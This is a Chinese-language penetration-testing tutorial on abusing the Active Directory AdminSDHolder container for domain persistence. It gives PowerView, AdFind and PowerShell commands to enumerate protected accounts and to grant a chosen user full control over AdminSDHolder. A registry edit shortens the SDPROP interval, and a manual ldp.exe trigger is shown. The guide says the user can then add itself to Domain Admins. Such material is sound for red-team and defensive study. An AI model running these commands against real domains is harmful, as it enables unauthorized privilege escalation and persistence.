域渗透中的AdminSDHolder

简介

AdminSDHolder是一个特殊的ad容器,具备一些默认安全权限,用于受保护的ad账户和组的模板

active directory将采用AdminSDHolder对象的acl并定期将其应用于所有受保护的ad账户和组,以防止意外和无意的修改并确保对这些对象的访问是安全的

如果能够修改AdminSDHolder对象的acl,那么修改的权限将自动应用于所有受保护的ad账户和组,能够进一步进行域环境的权限维持

相应dn信息如下:
CN=AdminSDHolder,CN=System,DC=rootkit,DC=org

域渗透中的AdminSDHolder

实际使用

基本思路

枚举受保护的ad账户和组中信息
查找有价值的,排除曾经属于受保护的ad账户和组

添加用户对AdminSDHolder的完全访问权限,默认等待60分钟,可以通过注册表进行修改,如下为修改60秒
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

枚举受保护的ad账户和组中信息

在server2000中引入,默认包含如下的组:
Administrators
Domain Admins
Account Operators
Backup Operators
Domain Controllers
Enterprise Admins
Print Operators
Replicator
Read-only Domain Controllers
Schema Admins
Server Operators

其中Administrators、Domain Admins、Enterprise Admins组对AdminSDHolder上的属性具有写权限

受保护的ad账户和组的具备admincount属性值为1的特征,但是admincount为1并不能保证现在也是受保护ad账户和组,因为从受保护的组中删除后,用户自己的admincount属性的值其实也不会改变

域渗透中的AdminSDHolder

powerview

下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

查询ad保护的域中所有的用户
Get-NetUser -AdminCount

域渗透中的AdminSDHolder

只筛选出用户名
Get-NetUser -AdminCount |select samaccountname

域渗透中的AdminSDHolder

查询域中受ad保护的所有组
Get-netgroup -AdminCount

域渗透中的AdminSDHolder

adfind

查询ad保护的域中所有的用户
adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=Person)(admincount=1)" -dn

objectCategory=Person是因为域用户的objectCategory属性都为Person

域渗透中的AdminSDHolder

查询ad保护的域中的所有的组
adfind.exe -b dc=rootkit,dc=org  -f "&(objectCategory=group)(admincount=1)" -dn

域渗透中的AdminSDHolder

ActiveDirectory

查询ad保护的域中所有的用户和组
Import-Module ActiveDirectory
Get-ADObject -LDAPFilter "(&(admincount=1)(|(objectcategory=person)(objectcategory=group)))" |select name

域渗透中的AdminSDHolder

操作AdminSDHolder对象的ACL

查看

powerview查询AdminSDHolder的acl
Get-ObjectAcl -ADSprefix "CN=AdminSDHolder,CN=System" |select IdentityReference

域渗透中的AdminSDHolder

增加

增加AdminSDHolder的acl,添加yangy用户的完全访问权限,默认等待60分钟后将会获得受保护的ad账户和组的完全访问控制权限
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName yangy -Verbose -Rights All

域渗透中的AdminSDHolder

验证

powerview查询确认添加成功

域渗透中的AdminSDHolder

确认具备完全控制权限

域渗透中的AdminSDHolder

能够实现什么?如下,确认当前为domain user,能够将自己加入到domain admins

域渗透中的AdminSDHolder

删除

删除先前添加的acl
Remove-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=rootkit,DC=org” -PrincipalIdentity  yangy -Rights All -Verbose

补充SDPROP

为了将可继承ace的更改传播到后代对象,域控将运行一个称为安全描述符传播其SDPROP的后台任务,通过修改对象的安全描述符或移动对象时将触发此任务

修改

已知修改了AdminSDHolder的acl后默认将等待60分钟生效,原理是SDPROP进程在PDC模拟器上每60分钟运行一次,并使用AdminSDHolder设置的安全权限重新标记acl

先前已知的设置一分钟命令如下,范围在一分钟至一百二十分钟
reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60

大型域环境不建议修改,当时间变短时候CPU处理LSASS的开销就会变大,容易导致系统出现卡顿

手动运行

进入ldp.exe

域渗透中的AdminSDHolder

如下进行连接

域渗透中的AdminSDHolder

连接处绑定为当前登录用户并点击确定

域渗透中的AdminSDHolder

进入修改

域渗透中的AdminSDHolder

浏览中进入修改,属性填写FixUpInheritance、值填写Yes,点击输入,点击运行

域渗透中的AdminSDHolder

最终效果如下

域渗透中的AdminSDHolder

上一篇:Android v4 包和v7包问题


下一篇:ACL 2020论文分享 | 基于对话图谱的开放域多轮对话策略学习